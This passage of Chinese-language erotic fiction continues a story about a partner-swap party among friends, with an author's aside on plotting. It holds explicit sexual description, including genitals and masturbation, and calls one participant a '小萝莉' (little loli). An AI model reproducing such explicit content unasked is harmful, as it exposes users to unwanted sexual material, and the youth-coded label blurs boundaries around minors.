“快受不了...”我强行忍着冲动,认识女友几年,哪有看过如此风骚的她,此刻内心兴奋无比。受到别人精液的滋润,环身上透现出一种说不出的性感妩媚,好比世界上最强力的催情药,把我迷过头晕眼花,情慾涨至最高境地。

经过一段柔情安慰,环对出轨的忧虑亦一扫而空,我两口子在浴室内肌肤相亲,她替我洗洗,我替她揉揉,温馨甜蜜,女友的首次联谊非但没有影响我俩感情,反使两人心灵紧扣,彷佛之间再没任何距离。

事实上我刚才对环的一番话并非为了安抚她的情绪,而是每一个字均为真心真意。对性我从不觉得是用作束缚对方的一种枷锁,可以让女友体会甚至享受那一种特别快感,在我而言亦是一件快乐的事。

“好吧,那泽你现在就好好出去教训她们,给大家看看我老公的雄风!”

细心清洗过後,环已经急不及侍要把我推上战场,要我在她的好友前一展身手。

与女友或妻子的好友搭上弄至不可收拾的新闻我听不少,但女友主动要男友干死她的好友则好像没听几遍。记得以前有人说过,女人嫁了好老公总爱带给姐妹团示众争个面子,想不到我的野蛮女友,连这种事也要不输别人才肯罢休。

不过对男人来说,这应该也不算坏事。

抹乾身子,我俩围上浴巾牵手步出,本想着外面仍在大战连场,淫秽非常,没想到出乎意料地平静,连刚才把仪干得呱呱大叫的强亦已呜金收兵,大家以毛巾盖着身上重要部位,正和睦地聊着闲话。

“咦?大家都完了吗?”

看到如此境况,环的表情有点出奇,强一脸不以为然的耸肩笑道:“对,都做完了,我想过了,你这指天椒虽然凶巴巴的做事鲁莽,但说话倒有道理,我跟妍刚刚才重修旧好,也不应该太过份,以免坏了大事,所以还是决定提早结束。”

强这段话似褒实贬,女友扁起小嘴,不甘示弱的嘟嚷道:“你也知道自己过份吗?不过太迟了,刚才你的所作所为我们已经纪录在案,作为姐姐的姐妹团,我们会动议延长对你的观察期,才考虑是否给姐姐再跟你一起!”

强听了哭笑不得,旁边的妍则掩嘴窃笑,论斗嘴,天下间真的没几个男人能敌得过我家的小顽劣。

撇开强和妍的一对复合情侣,其他的亦已各自回到伴侣身边,俊和琪好不容易达成目的,自然是恩恩爱爱,而伟和仪两人经过刚才的真心剖白,亦活像痴男怨女不愿分离,大家经过一次简单而直接的交换联谊,更是确认了对方在自己心中的地位。

“那...今天就这样结束吗?”

环再问道,妍点头说:“大家都是为了好奇,现在试过就好,也不必强迫做那麽多次。”

“是啊,虽然强哥是很棒,但我觉得还是比不上伟。”

仪握着伟的手,甜丝丝说道。的确在体能方面伟是远不及强,但试过了别人後,更令仪体会男友的重要,大部份男人都总以为在性事上强猛就是好,殊不知对女人而言,千万根坚硬大肉棒,也不及一颗软绵绵的爱人的心来得温暖充实。

“我也够了,这种事试过就算了,我又不是真的那麽喜欢做爱。”

早我俩从浴室出来的雪躲在被套中嚷着,期间看到我围着毛巾的下体,更不自禁的红起耳根,想来必定是忆起刚才浴室内,环在她面前近距离把我肉棒舞弄的情境。

“我们...也没必要交换了。”

至於俊和琪就更不用说,他们本来就是为了克服无法交欢的苦恼,现在大功告成,我想俊再也不愿把心爱的小萝莉交予别人玩弄。

“这样嘛,既然大家都这样说,那没法子罗,本来还想让你们看看我老公的利害,只有等下次啦。”

联谊派对拖拖拉拉,好不容易才终於展开,却结束得如此突然。环像是有点失望的说,可是从其松一口气的表情,我知道我那倔强的小辣椒其实巴不得这次荒唐的联谊派对早完早着,现在可以不用由自己提出,绝对是个喜出望外的好消息。

“但泽你没有舒服过啊?”

难得女友在这时仍是没有忘记我的福利,我没所谓的道:“大家开心就好,我又不是没试过,少射一次有什麽关系。”

强亦不放开调戏我女友的机会,举手叫:“被别人中途打扰,射不出来的这里还有一个!”

环作个鬼脸,伸舌道:“你这色狼那麽喜欢射,回家射你马子罗!”

“环妹在乱说什麽...”妍满面通红,小嘴嘟嘟作怪责模样。

接着看到大家再没异议,妍便作总结道:“好吧,那麽今天的联谊就到此为止,大家以後也要更爱对方哦,难得你们爱的人那麽大量,愿意放手让你们尝试其他异性,你们也要好好珍惜这份心意,不要背着对方乱搞啊。”

“嗯!”

各人欢喜点头,如此这般,这个弄假成真,纡回曲折的联谊派对到此便告落幕,唯这时候环突然发觉少了一个人:“说来雪怎麽是一个人的?”

雪像明知故问的哼着说:“都说我和权分了手,当然是一个人了。”

环摇头道:“不是啊,刚才明明是双数的嘛,怎麽现在变了单数?”

雪听着亦发觉所言甚是,拍一拍手,如梦初醒的说:“是表哥!”

“对啊,雪的表兄不见了。”

也许雪的表兄平在这里实在是太没存在感了,消失了好一阵子,众人才发觉少了一个。环顾四周,很自然地把目光投向那独立客厅的另一寝室。

“都要完了怎麽还不出来。”

环最性急,身先士卒的跑进小房,我们众人从後跟上,却看到雪的表兄堂堂男子,独个坐在卧床上偷泣落泪。

“男人之家在哭在屁啊!”

女友最讨厌看到男人流眼泪,扬声骂道。平掩着脸,泪水鼻涕流过不停,女友愈看愈火,有点想殴其头颅的说:“你哭什麽哭?你刚才是配姐姐的吧?这麽一个大美女给你搞,是便宜你了,你还要哭啊!”

平没有停下泪来,咽呜道:“我知道是便宜了我,我是在痛恨自己是件废物,像妍姐这样的美女,我做梦也没想到能亲近,今天机会来了,我却这麽没用,做了男人最羞家的事。”

听到这话,我们才猛然想起刚才妍表示平在进入其门前就早泄了事,环知道平痛哭原因,脸上一红,支支吾吾问道:“你就是为了这种小事哭?男人做爱不就为了但求一泄,你射了便舒服罗,还有什麽好伤心啊?”

环的说话使平更是激动起来,他像竭斯底里的猛叫道:“我不伤心?我可以不伤心?早泄是男人最羞耻的事,试问我日後还怎麽有面目见妍姐,还怎麽有面目做人?”

环安慰说:“你不要这样啦,姐姐都说男生第一次很快是正常的,她以前也碰上过连三秒也捱不了的男生,多试一点,下一次便会好了。”

我知道女友枪头不是指向我,但亦无奈地望着妍,责怪她怎麽在小八妹面前旧事重提,老同学回避我的视线,秀气的大眼儿眨呀眨,欣赏酒店房间漂亮的天花板。

“下一次?你认为我还会有下一次吗?我是个没女生喜欢的男人,今天已经是耗尽了人生最大的幸运才可以亲近妍姐,根本就不会有下一次!”

平大嚷着,女友愈听愈烦,哼嘴道:“那你自己早泄,怪得了谁啊?姐姐又不是不守诺言不跟你做。”

谁知这话一出,平更激动了,不断用力敲打自己鸡巴:“对,都只有怪我自己,我是废物!我不是男人!所以初恋情人才不要我!所以我才一生都是宅男!”环没料到自己随便一句会更刺激对方,登时慌乱起来,可面前的男生浑身赤裸,又不知道如何制止,只有吃惊劝说:“你不要打自己,你想当太监啊?”

“太监就太监!反正没有女人喜欢我,阉了也好,至少不用再在大家面前丢脸!”

平没有停手,环愈帮愈忙,情急之下吐出了一句:“好罗好罗,说这麽多,都是为了屌不到姐姐而心有不甘吧?现在叫姐姐在这里再给你屌一次,那可以了吗?”

“什麽?”

这一句说话果然是灵丹妙药,平听到有第二次机会,立刻停下手来,环眼见总算暂时平息,舒一口气,抹抹额上汗水,回头跟妍没好气的说:“姐姐,还是只有你上场才可以收拾残局,你就快手快脚跟他屌一次,我们在那边等吧。”

大家一直在旁边看戏,谁也不明白为何环去买菜,要由妍来付钱,对女友自把自为决定一切,即使脾气再好的旧同学也禁不住气急败坏的面红大叫:“环妹你在说什麽啊!”

以前说过,小鸡写文总是被角色带动,这一段本来的构思是:环提议妍跟平多做一次,妍不肯就范,环拍心口代替,经一轮口交後正想上阵时,妍又觉得没理由要好妹妹代替自己的责任,於是亲自下场,众女看到真人表演,开始动情,结果顺理成章地展开第二轮大战...但实际写到,却发觉并不好玩,於是整段删去了。

这种变来变去,连作者本人亦没法猜测的发展,对小鸡来说是一种享受,亦是能够继续本文的其中一个推动力。现时我已大约有了结局的构思,但写到时又可能会大改,环是一个我没法驾驭的人物,使我苦恼之余,也总算是给我拾回一点点写作的乐趣。

环天生是个大发条,把好姐妹推了上船,却仍完全不明白己的说话有什麽问题,反倒问妍道:“我说什麽?就是屌屌罗,你们刚才没有做,现在补一次不就好麽?雪的表哥这麽年轻,休息那麽久应该可以再做吧?”

妍对环那没半点犹豫的话面更红了,又不知道怎样在众人面前斥责这小顽劣说话不看情势,刚才大家一起联谊做着同样的事还说得过去,现在所有人完事了才叫她跟平再做,不就是独个公开表演?虽说过往她是派对常客,曾可以面不改容地吞下陌生鸡巴,但在洗尽铅华的今天,要妍在後辈前示范那优美床技,恐怕就有一定难度了。

只是我女友还真不是一般的笨,仍在追问妍有何不可,我看不过眼,把环拉到一旁在耳边教训几句,小顽劣才傻呼呼的恍然大悟说:“是啊,怎麽我没想到!姐姐在这边做,我们在那边闲着无聊,一定会讨论他们在用什麽姿势,那可是超难为情的啊!”

听到这里大家不自觉地把目光投到妍那包裹在毛巾内的完美体态上,看着曲线玲珑的胸脯翘臀,很明显所有人都在幻想旧同学骑着男人时最爱用哪种姿势。

妍天生美貌,被意淫是家常闲事,可在此刻亦禁不住羞赧得耳根通红。难得挑起话题的环毫无愧意,反倒把责任都怪到平的头上去,怒声质问道:“你要姐姐这样难堪,不觉得很过份吗!”

“不!我没这意思,我很喜欢妍姐,更不想她难堪,刚才只是一时伤心,现在平伏下来,已经没什麽事了。”

女友蛮不讲理,幸而对手亦非什麽有脑之人,平被一骂,立刻慌张道歉,抹抹脸庞,眼上泪水一起停了下来,小顽劣乱来一通,居然也漂亮地把事情搞定。

“那没事就好罗,没有真的打成太监吧?”

环的脾气来得急时去得快,听到平说情绪平伏,竖起的眉毛也安稳下来,更懂得关心别人地向男孩问候,平扬起掩着下体的两手,现出垂软鸡巴,环一看瞪大双眼,像发现新奇事物的向我嚷叫:“好可爱耶~老公,你过来看看这个!”

我摇一摇手不加理会,男人的性器官我不想看,更没兴趣去研究。

环叫不动我,转过来呼叫其他女生:“雪,过来看看你表哥的屌!”

雪掩起双眼,红着脸大叫:“他是我亲戚啊,想我乱伦吗?”

“不,这个真的很好玩的,看,前面的皮怎麽那麽长?像小时候吃的香肠包装袋啊。”

环满有趣味的观看着,几位女孩子好奇哄上前去,琪经验最少但学识最好,想也不想回答说:“是包皮过长,於是在静止状态时便包着整个龟头。”

环以手托着下巴,沉思道:“我老公平时也是包着的,但好像有点不一样...”

说着回头向我说:“泽,你拿开浴巾,我想比较一下有什麽不同。”

我摇摇头,环,我爱你,但有些事身为男人的我是不能答应,例如是解剖研究,又或是把重要器官在众目睽睽下用作学术性的交流。

“小器!”

环不能要领,不满的伸伸舌头,再次把眼光集中在平那软软鸡巴上,小顽劣好奇心满泻,做事的座右铭是“不听谣言,眼见为凭,手摸为实”,面对如此有趣器官,单是看看当然不能满足其无比求知慾,女友连“请问可否摸一摸”的基本礼仪也没有,便不问自取地把手伸到鸡巴上,像小孩子吃软糖般以两指提起:“软软的很可爱耶,但连龟头也看不到,真的可以做爱吗?”

平连随替自己辩护说:“是可以看到龟头的!皮是长了一点,但这样翻开,便可以露出来。”

为了证明,男孩立刻熟练地按着自己性器根部,两指一翻把多余的皮褪向根部,整个呈粉红色的龟头便应声弹出。

和强和俊那些深紫健壮的大鸡巴有所不同,平这根像小孩子般粉粉嫩嫩,彷佛毫无杀伤力。硕大龟头会叫女生面红耳热,不敢直视,相反这种弱小器官人畜无害,完全令人没有戒心,环欢喜得拍手大叫,像欣赏初生小鸡般细心把玩:“真的啊,好可爱~”我看在眼里,心想告诉女友这个平的年纪其实比你大,而这根看似良善的可爱小乌龟,在勃起後亦应该可以把你那小淫屄插过细水长流。

环和仪童心未泯,边看边笑,反过来一贯认真的琪就不失研究精神,审视着说:“可以翻开就问题不大,但这样长,还是应该做过小手术割了健康点吧,不然容易滋生细菌,令你的女友受到感染。”

平垂下头来,没舍精神地说:“这个我也知道,亦想过认识了女朋友後就立刻去割,只是一直找不到女生愿意跟我。”

琪继续问道:“那为什麽不先去割了,免後顾之忧呢?”

“这个...”平有口难言的不愿回答,女孩们好奇心重,当然不肯放过,避无可避下,只有老实招来:“因为这样打手枪,是十分舒服的。”

“打手枪?”

平想着反正秘密都公开了,像豁了出去的向众女解释着:“就是这样把皮拉起,用姆指在龟头上磨,是很爽的唷。”

说完更当众示范平日的打手枪技俩,手指隔着包皮在龟头上团团打转,脸上现出飘飘慾仙的表情。